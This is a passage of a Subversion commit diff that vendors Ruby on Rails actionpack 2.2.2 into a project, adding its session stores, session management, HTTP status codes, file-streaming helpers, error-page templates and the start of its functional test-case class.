+# which is enabled for DRb access.
+
+require 'drb'
+
+session_hash = Hash.new
+session_hash.instance_eval { @mutex = Mutex.new }
+
+class <<session_hash
+  def []=(key, value)
+    @mutex.synchronize do
+      super(key, value)
+    end
+  end
+
+  def [](key)
+    @mutex.synchronize do
+      super(key)
+    end
+  end
+
+  def delete(key)
+    @mutex.synchronize do
+      super(key)
+    end
+  end
+end
+
+DRb.start_service('druby://127.0.0.1:9192', session_hash)
+DRb.thread.join


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session/drb_server.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session/drb_store.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session/drb_store.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session/drb_store.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,35 @@
+require 'cgi'
+require 'cgi/session'
+require 'drb'
+ 
+class CGI #:nodoc:all
+  class Session
+    class DRbStore
+      @@session_data = DRbObject.new(nil, 'druby://localhost:9192')
+ 
+      def initialize(session, option=nil)
+        @session_id = session.session_id
+      end
+ 
+      def restore
+        @h = @@session_data[@session_id] || {}
+      end
+ 
+      def update
+        @@session_data[@session_id] = @h
+      end
+ 
+      def close
+        update
+      end
+ 
+      def delete
+        @@session_data.delete(@session_id)
+      end
+      
+      def data
+        @@session_data[@session_id]
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session/mem_cache_store.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session/mem_cache_store.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session/mem_cache_store.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,98 @@
+# cgi/session/memcached.rb - persistent storage of marshalled session data
+#
+# == Overview
+#
+# This file provides the CGI::Session::MemCache class, which builds
+# persistence of storage data on top of the MemCache library.  See
+# cgi/session.rb for more details on session storage managers.
+#
+
+begin
+  require 'cgi/session'
+  require_library_or_gem 'memcache'
+
+  class CGI
+    class Session
+      # MemCache-based session storage class.
+      #
+      # This builds upon the top-level MemCache class provided by the
+      # library file memcache.rb.  Session data is marshalled and stored
+      # in a memcached cache.
+      class MemCacheStore
+        def check_id(id) #:nodoc:#
+          /[^0-9a-zA-Z]+/ =~ id.to_s ? false : true
+        end
+
+        # Create a new CGI::Session::MemCache instance
+        #
+        # This constructor is used internally by CGI::Session. The
+        # user does not generally need to call it directly.
+        #
+        # +session+ is the session for which this instance is being
+        # created. The session id must only contain alphanumeric
+        # characters; automatically generated session ids observe
+        # this requirement.
+        #
+        # +options+ is a hash of options for the initializer. The
+        # following options are recognized:
+        #
+        # cache::  an instance of a MemCache client to use as the
+        #      session cache.
+        #
+        # expires:: an expiry time value to use for session entries in
+        #     the session cache. +expires+ is interpreted in seconds
+        #     relative to the current time if it’s less than 60*60*24*30
+        #     (30 days), or as an absolute Unix time (e.g., Time#to_i) if
+        #     greater. If +expires+ is +0+, or not passed on +options+,
+        #     the entry will never expire.
+        #
+        # This session's memcache entry will be created if it does
+        # not exist, or retrieved if it does.
+        def initialize(session, options = {})
+          id = session.session_id
+          unless check_id(id)
+            raise ArgumentError, "session_id '%s' is invalid" % id
+          end
+          @cache = options['cache'] || MemCache.new('localhost')
+          @expires = options['expires'] || 0
+          @session_key = "session:#{id}"
+          @session_data = {}
+          # Add this key to the store if haven't done so yet
+          unless @cache.get(@session_key)
+            @cache.add(@session_key, @session_data, @expires)
+          end
+        end
+
+        # Restore session state from the session's memcache entry.
+        #
+        # Returns the session state as a hash.
+        def restore
+          @session_data = @cache[@session_key] || {}
+        end
+
+        # Save session state to the session's memcache entry.
+        def update
+          @cache.set(@session_key, @session_data, @expires)
+        end
+      
+        # Update and close the session's memcache entry.
+        def close
+          update
+        end
+
+        # Delete the session's memcache entry.
+        def delete
+          @cache.delete(@session_key)
+          @session_data = {}
+        end
+        
+        def data
+          @session_data
+        end
+
+      end
+    end
+  end
+rescue LoadError
+  # MemCache wasn't available so neither can the store be
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session_management.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session_management.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/session_management.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,162 @@
+require 'action_controller/session/cookie_store'
+require 'action_controller/session/drb_store'
+require 'action_controller/session/mem_cache_store'
+if Object.const_defined?(:ActiveRecord)
+  require 'action_controller/session/active_record_store'
+end
+
+module ActionController #:nodoc:
+  module SessionManagement #:nodoc:
+    def self.included(base)
+      base.class_eval do
+        extend ClassMethods
+        alias_method_chain :process, :session_management_support
+        alias_method_chain :process_cleanup, :session_management_support
+      end
+    end
+
+    module ClassMethods
+      # Set the session store to be used for keeping the session data between requests.
+      # By default, sessions are stored in browser cookies (<tt>:cookie_store</tt>),
+      # but you can also specify one of the other included stores (<tt>:active_record_store</tt>,
+      # <tt>:p_store</tt>, <tt>:drb_store</tt>, <tt>:mem_cache_store</tt>, or
+      # <tt>:memory_store</tt>) or your own custom class.
+      def session_store=(store)
+        ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS[:database_manager] =
+          store.is_a?(Symbol) ? CGI::Session.const_get(store == :drb_store ? "DRbStore" : store.to_s.camelize) : store
+      end
+
+      # Returns the session store class currently used.
+      def session_store
+        ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS[:database_manager]
+      end
+
+      # Returns the hash used to configure the session. Example use:
+      #
+      #   ActionController::Base.session_options[:session_secure] = true # session only available over HTTPS
+      def session_options
+        ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS
+      end
+      
+      # Specify how sessions ought to be managed for a subset of the actions on
+      # the controller. Like filters, you can specify <tt>:only</tt> and
+      # <tt>:except</tt> clauses to restrict the subset, otherwise options
+      # apply to all actions on this controller.
+      #
+      # The session options are inheritable, as well, so if you specify them in
+      # a parent controller, they apply to controllers that extend the parent.
+      #
+      # Usage:
+      #
+      #   # turn off session management for all actions.
+      #   session :off
+      #
+      #   # turn off session management for all actions _except_ foo and bar.
+      #   session :off, :except => %w(foo bar)
+      #
+      #   # turn off session management for only the foo and bar actions.
+      #   session :off, :only => %w(foo bar)
+      #
+      #   # the session will only work over HTTPS, but only for the foo action
+      #   session :only => :foo, :session_secure => true
+      #
+      #   # the session by default uses HttpOnly sessions for security reasons.
+      #   # this can be switched off.
+      #   session :only => :foo, :session_http_only => false
+      #
+      #   # the session will only be disabled for 'foo', and only if it is
+      #   # requested as a web service
+      #   session :off, :only => :foo,
+      #           :if => Proc.new { |req| req.parameters[:ws] }
+      #
+      #   # the session will be disabled for non html/ajax requests
+      #   session :off, 
+      #     :if => Proc.new { |req| !(req.format.html? || req.format.js?) }
+      #
+      #   # turn the session back on, useful when it was turned off in the
+      #   # application controller, and you need it on in another controller
+      #   session :on
+      #
+      # All session options described for ActionController::Base.process_cgi
+      # are valid arguments.
+      def session(*args)
+        options = args.extract_options!
+
+        options[:disabled] = false if args.delete(:on)
+        options[:disabled] = true if !args.empty?
+        options[:only] = [*options[:only]].map { |o| o.to_s } if options[:only]
+        options[:except] = [*options[:except]].map { |o| o.to_s } if options[:except]
+        if options[:only] && options[:except]
+          raise ArgumentError, "only one of either :only or :except are allowed"
+        end
+
+        write_inheritable_array(:session_options, [options])
+      end
+
+      # So we can declare session options in the Rails initializer.
+      alias_method :session=, :session
+
+      def cached_session_options #:nodoc:
+        @session_options ||= read_inheritable_attribute(:session_options) || []
+      end
+
+      def session_options_for(request, action) #:nodoc:
+        if (session_options = cached_session_options).empty?
+          {}
+        else
+          options = {}
+
+          action = action.to_s
+          session_options.each do |opts|
+            next if opts[:if] && !opts[:if].call(request)
+            if opts[:only] && opts[:only].include?(action)
+              options.merge!(opts)
+            elsif opts[:except] && !opts[:except].include?(action)
+              options.merge!(opts)
+            elsif !opts[:only] && !opts[:except]
+              options.merge!(opts)
+            end
+          end
+          
+          if options.empty? then options
+          else
+            options.delete :only
+            options.delete :except
+            options.delete :if
+            options[:disabled] ? false : options
+          end
+        end
+      end
+    end
+
+    def process_with_session_management_support(request, response, method = :perform_action, *arguments) #:nodoc:
+      set_session_options(request)
+      process_without_session_management_support(request, response, method, *arguments)
+    end
+
+    private
+      def set_session_options(request)
+        request.session_options = self.class.session_options_for(request, request.parameters["action"] || "index")
+      end
+      
+      def process_cleanup_with_session_management_support
+        clear_persistent_model_associations
+        process_cleanup_without_session_management_support
+      end
+
+      # Clear cached associations in session data so they don't overflow
+      # the database field.  Only applies to ActiveRecordStore since there
+      # is not a standard way to iterate over session data.
+      def clear_persistent_model_associations #:doc:
+        if defined?(@_session) && @_session.respond_to?(:data)
+          session_data = @_session.data
+
+          if session_data && session_data.respond_to?(:each_value)
+            session_data.each_value do |obj|
+              obj.clear_association_cache if obj.respond_to?(:clear_association_cache)
+            end
+          end
+        end
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/status_codes.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/status_codes.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/status_codes.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,88 @@
+module ActionController
+  module StatusCodes #:nodoc:
+    # Defines the standard HTTP status codes, by integer, with their
+    # corresponding default message texts.
+    # Source: http://www.iana.org/assignments/http-status-codes
+    STATUS_CODES = {
+      100 => "Continue",
+      101 => "Switching Protocols",
+      102 => "Processing",
+
+      200 => "OK",
+      201 => "Created",
+      202 => "Accepted",
+      203 => "Non-Authoritative Information",
+      204 => "No Content",
+      205 => "Reset Content",
+      206 => "Partial Content",
+      207 => "Multi-Status",
+      226 => "IM Used",
+
+      300 => "Multiple Choices",
+      301 => "Moved Permanently",
+      302 => "Found",
+      303 => "See Other",
+      304 => "Not Modified",
+      305 => "Use Proxy",
+      307 => "Temporary Redirect",
+
+      400 => "Bad Request",
+      401 => "Unauthorized",
+      402 => "Payment Required",
+      403 => "Forbidden",
+      404 => "Not Found",
+      405 => "Method Not Allowed",
+      406 => "Not Acceptable",
+      407 => "Proxy Authentication Required",
+      408 => "Request Timeout",
+      409 => "Conflict",
+      410 => "Gone",
+      411 => "Length Required",
+      412 => "Precondition Failed",
+      413 => "Request Entity Too Large",
+      414 => "Request-URI Too Long",
+      415 => "Unsupported Media Type",
+      416 => "Requested Range Not Satisfiable",
+      417 => "Expectation Failed",
+      422 => "Unprocessable Entity",
+      423 => "Locked",
+      424 => "Failed Dependency",
+      426 => "Upgrade Required",
+
+      500 => "Internal Server Error",
+      501 => "Not Implemented",
+      502 => "Bad Gateway",
+      503 => "Service Unavailable",
+      504 => "Gateway Timeout",
+      505 => "HTTP Version Not Supported",
+      507 => "Insufficient Storage",
+      510 => "Not Extended"
+    }
+
+    # Provides a symbol-to-fixnum lookup for converting a symbol (like
+    # :created or :not_implemented) into its corresponding HTTP status
+    # code (like 200 or 501).
+    SYMBOL_TO_STATUS_CODE = STATUS_CODES.inject({}) do |hash, (code, message)|
+      hash[message.gsub(/ /, "").underscore.to_sym] = code
+      hash
+    end
+
+    # Given a status parameter, determine whether it needs to be converted
+    # to a string. If it is a fixnum, use the STATUS_CODES hash to lookup
+    # the default message. If it is a symbol, use the SYMBOL_TO_STATUS_CODE
+    # hash to convert it.
+    def interpret_status(status)
+      case status
+      when Fixnum then
+        "#{status} #{STATUS_CODES[status]}".strip
+      when Symbol then
+        interpret_status(SYMBOL_TO_STATUS_CODE[status] ||
+          "500 Unknown Status #{status.inspect}")
+      else
+        status.to_s
+      end
+    end
+    private :interpret_status
+
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/streaming.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/streaming.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/streaming.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,162 @@
+module ActionController #:nodoc:
+  # Methods for sending files and streams to the browser instead of rendering.
+  module Streaming
+    DEFAULT_SEND_FILE_OPTIONS = {
+      :type         => 'application/octet-stream'.freeze,
+      :disposition  => 'attachment'.freeze,
+      :stream       => true,
+      :buffer_size  => 4096,
+      :x_sendfile   => false
+    }.freeze
+
+    X_SENDFILE_HEADER = 'X-Sendfile'.freeze
+
+    protected
+      # Sends the file, by default streaming it 4096 bytes at a time. This way the
+      # whole file doesn't need to be read into memory at once. This makes it
+      # feasible to send even large files. You can optionally turn off streaming
+      # and send the whole file at once.
+      #
+      # Be careful to sanitize the path parameter if it is coming from a web
+      # page. <tt>send_file(params[:path])</tt> allows a malicious user to
+      # download any file on your server.
+      #
+      # Options:
+      # * <tt>:filename</tt> - suggests a filename for the browser to use.
+      #   Defaults to <tt>File.basename(path)</tt>.
+      # * <tt>:type</tt> - specifies an HTTP content type. Defaults to 'application/octet-stream'.
+      # * <tt>:length</tt> - used to manually override the length (in bytes) of the content that
+      #   is going to be sent to the client. Defaults to <tt>File.size(path)</tt>.
+      # * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.
+      #   Valid values are 'inline' and 'attachment' (default).
+      # * <tt>:stream</tt> - whether to send the file to the user agent as it is read (+true+)
+      #   or to read the entire file before sending (+false+). Defaults to +true+.
+      # * <tt>:buffer_size</tt> - specifies size (in bytes) of the buffer used to stream the file.
+      #   Defaults to 4096.
+      # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to '200 OK'.
+      # * <tt>:url_based_filename</tt> - set to +true+ if you want the browser guess the filename from
+      #   the URL, which is necessary for i18n filenames on certain browsers
+      #   (setting <tt>:filename</tt> overrides this option).
+      # * <tt>:x_sendfile</tt> - uses X-Sendfile to send the file when set to +true+. This is currently
+      #   only available with Lighttpd/Apache2 and specific modules installed and activated. Since this
+      #   uses the web server to send the file, this may lower memory consumption on your server and
+      #   it will not block your application for further requests.
+      #   See http://blog.lighttpd.net/articles/2006/07/02/x-sendfile and
+      #   http://tn123.ath.cx/mod_xsendfile/ for details. Defaults to +false+.
+      #
+      # The default Content-Type and Content-Disposition headers are
+      # set to download arbitrary binary files in as many browsers as
+      # possible.  IE versions 4, 5, 5.5, and 6 are all known to have
+      # a variety of quirks (especially when downloading over SSL).
+      #
+      # Simple download:
+      #
+      #   send_file '/path/to.zip'
+      #
+      # Show a JPEG in the browser:
+      #
+      #   send_file '/path/to.jpeg', :type => 'image/jpeg', :disposition => 'inline'
+      #
+      # Show a 404 page in the browser:
+      #
+      #   send_file '/path/to/404.html', :type => 'text/html; charset=utf-8', :status => 404
+      #
+      # Read about the other Content-* HTTP headers if you'd like to
+      # provide the user with more information (such as Content-Description) in
+      # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.11.
+      #
+      # Also be aware that the document may be cached by proxies and browsers.
+      # The Pragma and Cache-Control headers declare how the file may be cached
+      # by intermediaries.  They default to require clients to validate with
+      # the server before releasing cached responses.  See
+      # http://www.mnot.net/cache_docs/ for an overview of web caching and
+      # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9
+      # for the Cache-Control header spec.
+      def send_file(path, options = {}) #:doc:
+        raise MissingFile, "Cannot read file #{path}" unless File.file?(path) and File.readable?(path)
+
+        options[:length]   ||= File.size(path)
+        options[:filename] ||= File.basename(path) unless options[:url_based_filename]
+        send_file_headers! options
+
+        @performed_render = false
+
+        if options[:x_sendfile]
+          logger.info "Sending #{X_SENDFILE_HEADER} header #{path}" if logger
+          head options[:status], X_SENDFILE_HEADER => path
+        else
+          if options[:stream]
+            render :status => options[:status], :text => Proc.new { |response, output|
+              logger.info "Streaming file #{path}" unless logger.nil?
+              len = options[:buffer_size] || 4096
+              File.open(path, 'rb') do |file|
+                while buf = file.read(len)
+                  output.write(buf)
+                end
+              end
+            }
+          else
+            logger.info "Sending file #{path}" unless logger.nil?
+            File.open(path, 'rb') { |file| render :status => options[:status], :text => file.read }
+          end
+        end
+      end
+
+      # Send binary data to the user as a file download.  May set content type, apparent file name,
+      # and specify whether to show data inline or download as an attachment.
+      #
+      # Options:
+      # * <tt>:filename</tt> - suggests a filename for the browser to use.
+      # * <tt>:type</tt> - specifies an HTTP content type. Defaults to 'application/octet-stream'.
+      # * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.
+      #   Valid values are 'inline' and 'attachment' (default).
+      # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to '200 OK'.
+      #
+      # Generic data download:
+      #
+      #   send_data buffer
+      #
+      # Download a dynamically-generated tarball:
+      #
+      #   send_data generate_tgz('dir'), :filename => 'dir.tgz'
+      #
+      # Display an image Active Record in the browser:
+      #
+      #   send_data image.data, :type => image.content_type, :disposition => 'inline'
+      #
+      # See +send_file+ for more information on HTTP Content-* headers and caching.
+      def send_data(data, options = {}) #:doc:
+        logger.info "Sending data #{options[:filename]}" if logger
+        send_file_headers! options.merge(:length => data.size)
+        @performed_render = false
+        render :status => options[:status], :text => data
+      end
+
+    private
+      def send_file_headers!(options)
+        options.update(DEFAULT_SEND_FILE_OPTIONS.merge(options))
+        [:length, :type, :disposition].each do |arg|
+          raise ArgumentError, ":#{arg} option required" if options[arg].nil?
+        end
+
+        disposition = options[:disposition].dup || 'attachment'
+
+        disposition <<= %(; filename="#{options[:filename]}") if options[:filename]
+
+        headers.update(
+          'Content-Length'            => options[:length],
+          'Content-Type'              => options[:type].to_s.strip,  # fixes a problem with extra '\r' with some browsers
+          'Content-Disposition'       => disposition,
+          'Content-Transfer-Encoding' => 'binary'
+        )
+
+        # Fix a problem with IE 6.0 on opening downloaded files:
+        # If Cache-Control: no-cache is set (which Rails does by default),
+        # IE removes the file it just downloaded from its cache immediately
+        # after it displays the "open/save" dialog, which means that if you
+        # hit "open" the file isn't there anymore when the application that
+        # is called for handling the download is run, so let's workaround that
+        headers['Cache-Control'] = 'private' if headers['Cache-Control'] == 'no-cache'
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/_request_and_response.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/_request_and_response.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/_request_and_response.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+<% unless @exception.blamed_files.blank? %>
+  <% if (hide = @exception.blamed_files.length > 8) %>
+    <a href="#" onclick="document.getElementById('blame_trace').style.display='block'; return false;">Show blamed files</a>
+  <% end %>
+  <pre id="blame_trace" <%='style="display:none"' if hide %>><code><%=h @exception.describe_blame %></code></pre>
+<% end %>
+
+<%
+  clean_params = request.parameters.clone
+  clean_params.delete("action")
+  clean_params.delete("controller")
+
+  request_dump = clean_params.empty? ? 'None' : clean_params.inspect.gsub(',', ",\n")
+%>
+
+<h2 style="margin-top: 30px">Request</h2>
+<p><b>Parameters</b>: <pre><%=h request_dump %></pre></p>
+
+<p><a href="#" onclick="document.getElementById('session_dump').style.display='block'; return false;">Show session dump</a></p>
+<div id="session_dump" style="display:none"><%= debug(request.session.instance_variable_get("@data")) %></div>
+
+
+<h2 style="margin-top: 30px">Response</h2>
+<p><b>Headers</b>: <pre><%=h response ? response.headers.inspect.gsub(',', ",\n") : 'None' %></pre></p>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/_trace.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/_trace.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/_trace.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,26 @@
+<%
+  traces = [
+    ["Application Trace", @exception.application_backtrace],
+    ["Framework Trace", @exception.framework_backtrace],
+    ["Full Trace", @exception.clean_backtrace]
+  ]
+  names = traces.collect {|name, trace| name}
+%>
+
+<p><code>RAILS_ROOT: <%= defined?(RAILS_ROOT) ? RAILS_ROOT : "unset" %></code></p>
+
+<div id="traces">
+  <% names.each do |name| %>
+    <%
+      show = "document.getElementById('#{name.gsub /\s/, '-'}').style.display='block';"
+      hide = (names - [name]).collect {|hide_name| "document.getElementById('#{hide_name.gsub /\s/, '-'}').style.display='none';"}
+    %>
+    <a href="#" onclick="<%= hide %><%= show %>; return false;"><%= name %></a> <%= '|' unless names.last == name %>
+  <% end %>
+
+  <% traces.each do |name, trace| %>
+    <div id="<%= name.gsub /\s/, '-' %>" style="display: <%= name == "Application Trace" ? 'block' : 'none' %>;">
+      <pre><code><%= trace.join "\n" %></code></pre>
+    </div>
+  <% end %>
+</div>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/diagnostics.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/diagnostics.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/diagnostics.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,11 @@
+<h1>
+  <%=h @exception.class.to_s %>
+  <% if request.parameters['controller'] %>
+    in <%=h request.parameters['controller'].humanize %>Controller<% if request.parameters['action'] %>#<%=h request.parameters['action'] %><% end %>
+  <% end %>
+</h1>
+<pre><%=h @exception.clean_message %></pre>
+
+<%= render(:file => @rescues_path + "/_trace.erb") %>
+
+<%= render(:file => @rescues_path + "/_request_and_response.erb") %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/layout.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/layout.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/layout.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,29 @@
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+  <title>Action Controller: Exception caught</title>
+  <style>
+    body { background-color: #fff; color: #333; }
+
+    body, p, ol, ul, td {
+      font-family: verdana, arial, helvetica, sans-serif;
+      font-size:   13px;
+      line-height: 18px;
+    }
+
+    pre {
+      background-color: #eee;
+      padding: 10px;
+      font-size: 11px;
+    }
+
+    a { color: #000; }
+    a:visited { color: #666; }
+    a:hover { color: #fff; background-color:#000; }
+  </style>
+</head>
+<body>
+
+<%= @contents %>
+
+</body>
+</html>
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/missing_template.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/missing_template.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/missing_template.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+<h1>Template is missing</h1>
+<p><%=h @exception.message %></p>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/routing_error.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/routing_error.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/routing_error.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,10 @@
+<h1>Routing Error</h1>
+<p><pre><%=h @exception.message %></pre></p>
+<% unless @exception.failures.empty? %><p>
+  <h2>Failure reasons:</h2>
+  <ol>
+  <% @exception.failures.each do |route, reason| %>
+    <li><code><%=h route.inspect.gsub('\\', '') %></code> failed because <%=h reason.downcase %></li>
+  <% end %>
+  </ol>
+</p><% end %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/template_error.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/template_error.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/template_error.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+<h1>
+  <%=h @exception.original_exception.class.to_s %> in
+  <%=h request.parameters["controller"].capitalize if request.parameters["controller"]%>#<%=h request.parameters["action"] %>
+</h1>
+
+<p>
+  Showing <i><%=h @exception.file_name %></i> where line <b>#<%=h @exception.line_number %></b> raised:
+  <pre><code><%=h @exception.message %></code></pre>
+</p>
+
+<p>Extracted source (around line <b>#<%=h @exception.line_number %></b>):
+<pre><code><%=h @exception.source_extract %></code></pre></p>
+
+<p><%=h @exception.sub_template_message %></p>
+
+<% @real_exception = @exception
+   @exception = @exception.original_exception || @exception %>
+<%= render(:file => @rescues_path + "/_trace.erb") %>
+<% @exception = @real_exception %>
+
+<%= render(:file => @rescues_path + "/_request_and_response.erb") %>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/unknown_action.erb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/unknown_action.erb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/templates/rescues/unknown_action.erb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2 @@
+<h1>Unknown action</h1>
+<p><%=h @exception.message %></p>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/test_case.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/test_case.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/test_case.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,147 @@
+require 'active_support/test_case'
+
+module ActionController
+  class NonInferrableControllerError < ActionControllerError
+    def initialize(name)
+      @name = name
+      super "Unable to determine the controller to test from #{name}. " +
+        "You'll need to specify it using 'tests YourController' in your " +
+        "test case definition. This could mean that #{inferred_controller_name} does not exist " +
+        "or it contains syntax errors"
+    end
+
+    def inferred_controller_name
+      @name.sub(/Test$/, '')
+    end
+  end
+
+  # Superclass for ActionController functional tests. Functional tests allow you to
+  # test a single controller action per test method. This should not be confused with
+  # integration tests (see ActionController::IntegrationTest), which are more like
+  # "stories" that can involve multiple controllers and mutliple actions (i.e. multiple
+  # different HTTP requests).
+  #
+  # == Basic example
+  #
+  # Functional tests are written as follows:
+  # 1. First, one uses the +get+, +post+, +put+, +delete+ or +head+ method to simulate
+  #    an HTTP request.
+  # 2. Then, one asserts whether the current state is as expected. "State" can be anything:
+  #    the controller's HTTP response, the database contents, etc.
+  #
+  # For example:
+  #
+  #   class BooksControllerTest < ActionController::TestCase
+  #     def test_create
+  #       # Simulate a POST response with the given HTTP parameters.
+  #       post(:create, :book => { :title => "Love Hina" })
+  #
+  #       # Assert that the controller tried to redirect us to
+  #       # the created book's URI.
+  #       assert_response :found
+  #
+  #       # Assert that the controller really put the book in the database.
+  #       assert_not_nil Book.find_by_title("Love Hina")
+  #     end
+  #   end
+  #
+  # == Special instance variables
+  #
+  # ActionController::TestCase will also automatically provide the following instance
+  # variables for use in the tests:
+  #
+  # <b>@controller</b>::
+  #      The controller instance that will be tested.
+  # <b>@request</b>::
+  #      An ActionController::TestRequest, representing the current HTTP
+  #      request. You can modify this object before sending the HTTP request. For example,
+  #      you might want to set some session properties before sending a GET request.
+  # <b>@response</b>::
+  #      An ActionController::TestResponse object, representing the response
+  #      of the last HTTP response. In the above example, <tt>@response</tt> becomes valid
+  #      after calling +post+. If the various assert methods are not sufficient, then you
+  #      may use this object to inspect the HTTP response in detail.
+  #
+  # (Earlier versions of Rails required each functional test to subclass
+  # Test::Unit::TestCase and define @controller, @request, @response in +setup+.)
+  #
+  # == Controller is automatically inferred
+  #
+  # ActionController::TestCase will automatically infer the controller under test
+  # from the test class name. If the controller cannot be inferred from the test
+  # class name, you can explicity set it with +tests+.
+  #
+  #   class SpecialEdgeCaseWidgetsControllerTest < ActionController::TestCase
